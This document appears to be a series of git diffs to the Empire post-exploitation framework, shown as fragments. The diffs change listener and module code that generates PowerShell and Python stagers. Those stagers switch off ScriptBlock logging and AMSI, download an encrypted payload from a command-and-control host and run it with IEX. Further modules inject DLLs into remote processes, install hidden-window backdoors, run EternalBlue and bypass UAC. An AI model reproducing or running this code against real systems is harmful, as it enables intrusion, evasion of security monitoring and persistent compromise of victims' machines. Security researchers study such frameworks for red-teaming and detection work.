code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile))
@ -661,16 +670,16 @@ def send_message(packets=None):
except:
pass
if packets:
data = ''.join(packets)
# aes_encrypt_then_hmac is in stager.py
encData = aes_encrypt_then_hmac(key, data)
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
#check to see if there are any results already present
headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (resultsFolder, sessionID)
try:
pkdata = post_message('https://content.dropboxapi.com/2/files/download', data=None, headers=headers)
except:
@ -953,7 +962,7 @@ def send_message(packets=None):
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)

View File

@ -7,7 +7,6 @@ import time
import copy
from pydispatch import dispatcher
from flask import Flask, request, make_response
import pdb
# Empire imports
from lib.common import helpers
from lib.common import agents
@ -106,6 +105,36 @@ class Listener:
'Description' : 'Server header for the control server.',
'Required' : True,
'Value' : 'Microsoft-IIS/7.5'
},
'StagerURI' : {
'Description' : 'URI for the stager. Example: stager.php',
'Required' : False,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'SlackToken' : {
'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
'Required' : False,
'Value' : ''
},
'SlackChannel' : {
'Description' : 'The Slack channel or DM that notifications will be sent to.',
'Required' : False,
'Value' : '#general'
}
}
@ -170,17 +199,24 @@ class Listener:
if language.startswith('po'):
# PowerShell
stager = ''
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization("$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
@ -188,6 +224,7 @@ class Listener:
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
@ -223,7 +260,7 @@ class Listener:
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent
@ -239,7 +276,7 @@ class Listener:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
@ -276,9 +313,9 @@ class Listener:
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
@ -318,7 +355,7 @@ class Listener:
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
launcherBase += "req=urllib2.Request(server+t);\n"
# add the RC4 packet to a cookie
launcherBase += "req.add_header('User-Agent',UA);\n"
@ -332,7 +369,7 @@ class Listener:
#launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
@ -347,7 +384,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
@ -358,7 +395,7 @@ class Listener:
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=urllib2.urlopen(req).read();\n"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
@ -400,11 +437,13 @@ class Listener:
print helpers.color('[!] listeners/http generate_stager(): no language specified!')
return None
profile = listenerOptions['DefaultProfile']['Value']
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
killDate = listenerOptions['KillDate']['Value']
host = listenerOptions['Host']['Value']
customHeaders = profile.split('|')[2:]
@ -432,6 +471,10 @@ class Listener:
if workingHours != "":
stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)
#Patch in the killdate, if any
if killDate != "":
stager = stager.replace('REPLACE_KILLDATE', killDate)
# patch the server and key information
stager = stager.replace('REPLACE_SERVER', host)
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
@ -449,7 +492,7 @@ class Listener:
randomizedStager += helpers.randomize_capitalization(line)
else:
randomizedStager += line
if obfuscate:
randomizedStager = helpers.obfuscate(randomizedStager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
@ -473,6 +516,12 @@ class Listener:
if host.endswith("/"):
host = host[0:-1]
if workingHours != "":
stager = stager.replace('SET_WORKINGHOURS', workingHours)
if killDate != "":
stager = stager.replace('SET_KILLDATE', killDate)
# # patch the server and key information
stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
stager = stager.replace("REPLACE_PROFILE", profile)
@ -606,7 +655,7 @@ class Listener:
if($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
$wc.Headers.Add("User-Agent",$script:UserAgent)
$script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)}
$wc.Headers.Add("Cookie", "session=$RoutingCookie")
@ -648,7 +697,7 @@ class Listener:
if($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
$wc.Headers.Add('User-Agent', $Script:UserAgent)
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
@ -742,10 +791,23 @@ def send_message(packets=None):
host = listenerOptions['Host']['Value']
port = listenerOptions['Port']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
stagerURI = listenerOptions['StagerURI']['Value']
userAgent = self.options['UserAgent']['Value']
listenerName = self.options['Name']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
app = Flask(__name__)
self.app = app
@app.route('/<string:stagerURI>')
def send_stager(stagerURI):
if stagerURI:
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
return launcher
else:
pass
@app.before_request
def check_ip():
"""

View File

@ -170,17 +170,24 @@ class Listener:
if language.startswith('po'):
# PowerShell
stager = ''
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization("$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
@ -188,6 +195,7 @@ class Listener:
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
# TODO: reimplement stager retries?
@ -227,7 +235,7 @@ class Listener:
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)

View File

@ -141,21 +141,28 @@ class Listener:
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = ''
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization("$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
@ -163,8 +170,9 @@ class Listener:
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
@ -198,7 +206,7 @@ class Listener:
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
# TODO: reimplement stager retries?
@ -210,7 +218,7 @@ class Listener:
headerValue = header.split(':')[1]
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
@ -234,7 +242,7 @@ class Listener:
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
@ -294,7 +302,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
@ -363,12 +371,12 @@ class Listener:
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
""" % (listenerOptions['Host']['Value'])
getTask = """
function script:Get-Task {

View File

@ -124,17 +124,24 @@ class Listener:
if language.startswith('po'):
# PowerShell
stager = ''
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization("$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
@ -142,6 +149,7 @@ class Listener:
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
@ -176,7 +184,7 @@ class Listener:
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
# TODO: reimplement stager retries?
@ -204,7 +212,7 @@ class Listener:
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
@ -247,7 +255,7 @@ class Listener:
# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
launcherBase += "import urllib2\n"
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
@ -262,7 +270,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
@ -271,7 +279,7 @@ class Listener:
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=o.open(server+t).read();"
launcherBase += "IV=a[0:4];"

View File

@ -173,17 +173,25 @@ class Listener:
if language.startswith('po'):
# PowerShell
stager = ''
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization("$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
stager += "};"
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
@ -228,7 +236,7 @@ class Listener:
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
@ -255,6 +263,7 @@ class Listener:
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
stagingKey = listenerOptions['StagingKey']['Value']
host = listenerOptions['Host']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
folder = listenerOptions['Folder']['Value']
if language.lower() == 'powershell':
@ -317,6 +326,7 @@ class Listener:
lostLimit = listenerOptions['DefaultLostLimit']['Value']
killDate = listenerOptions['KillDate']['Value']
folder = listenerOptions['Folder']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
b64DefaultResponse = base64.b64encode(self.default_response())
if language == 'powershell':

View File

@ -102,7 +102,7 @@ class Listener:
script = helpers.strip_powershell_comments(script)
script += "\nInvoke-Shellcode -Payload %s -Lhost %s -Lport %s -Force" % (msfPayload, host, port)
if obfuscate:
script = helpers.obfuscate(script, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
script = helpers.obfuscate(self.mainMenu.installPath, script, obfuscationCommand=obfuscationCommand)
return script
else:

View File

@ -77,7 +77,7 @@ class Module:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"
@ -105,4 +105,4 @@ class Module:
script += "; 'Exploit complete'"
return script
return script

View File

@ -0,0 +1,158 @@
from lib.common import helpers
import base64
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-PSInject',
'Author': ['@harmj0y', '@sixdub', 'leechristensen (@tifkin_)', 'james fitts'],
'Description': ("Utilizes Powershell to to inject a Stephen Fewer "
"formed ReflectivePick which executes PS code"
"from memory in a remote process"),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://sixdub.net'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'UploadPath' : {
'Description' : 'Path to drop dll (C:\Users\Administrator\Desktop).',
'Required' : False,
'Value' : ''
},
'ProcName' : {
'Description' : 'Process name to inject into. (I.E calc, chrome, powershell)',
'Required' : False,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Arch' : {
'Description' : 'Architecture of the .dll to generate (x64 or x86).',
'Required' : False,
'Value' : 'x64'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
def rand_text_alphanumeric(size=15, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
fname = rand_text_alphanumeric() + ".dll"
listenerName = self.options['Listener']['Value']
procName = self.options['ProcName']['Value'].strip()
uploadPath = self.options['UploadPath']['Value'].strip()
arch = self.options['Arch']['Value'].strip()
fullUploadPath = uploadPath + "\\" + fname
if procName == '':
print helpers.color("[!] ProcName must be specified.")
return ''
# staging options
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-ReflectivePEInjection.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = ""
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: %s" %(listenerName))
return ''
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == '':
print helpers.color('[!] Error in launcher generation.')
return ''
else:
launcherCode = launcher.split(' ')[-1]
scriptEnd += "Invoke-ReflectivePEInjection -PEPath %s -ProcName %s " % (fullUploadPath, procName)
dll = self.mainMenu.stagers.generate_dll(launcherCode, arch)
UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += "\r\n"
script += UploadScript
script += "\r\n"
script += scriptEnd
script += "\r\n"
script += "Remove-Item -Path %s" % fullUploadPath
return script

View File

@ -149,7 +149,7 @@ Invoke-DeadUserBackdoor"""
else:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers["launcher"]
stager = self.mainMenu.stagers.stagers["multi/launcher"]
stager.options['Listener']['Value'] = listenerName
stager.options['Base64']['Value'] = "False"
@ -188,7 +188,8 @@ Invoke-DeadUserBackdoor"""
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
launcher = helpers.powershell_launcher(script)
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
launcher = helpers.powershell_launcher(script, modifiable_launcher)
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
parts = stagerCode.split(" ")

View File

@ -1,5 +1,6 @@
import os
from lib.common import helpers
import pdb
class Module:
@ -123,7 +124,7 @@ Invoke-EventLogBackdoor"""
else:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers["launcher"]
stager = self.mainMenu.stagers.stagers["multi/launcher"]
stager.options['Listener']['Value'] = listenerName
stager.options['Base64']['Value'] = "False"
@ -162,7 +163,8 @@ Invoke-EventLogBackdoor"""
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
launcher = helpers.powershell_launcher(script)
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
launcher = helpers.powershell_launcher(script, modifiable_launcher)
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
parts = stagerCode.split(" ")

View File

@ -136,7 +136,7 @@ Invoke-ResolverBackdoor"""
else:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers["launcher"]
stager = self.mainMenu.stagers.stagers["multi/launcher"]
stager.options['Listener']['Value'] = listenerName
stager.options['Base64']['Value'] = "False"
@ -175,7 +175,8 @@ Invoke-ResolverBackdoor"""
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
launcher = helpers.powershell_launcher(script)
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
launcher = helpers.powershell_launcher(script, modifiable_launcher)
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
parts = stagerCode.split(" ")

View File

@ -0,0 +1,164 @@
from lib.common import helpers
import base64
import re
class Module:
def __init__(self, mainMenu, params=[]):
# Metadata info about the module, not modified during runtime
self.info = {
# Name for the module that will appear in module menus
'Name': 'Invoke-BypassUACTokenManipulation',
# List of one or more authors for the module
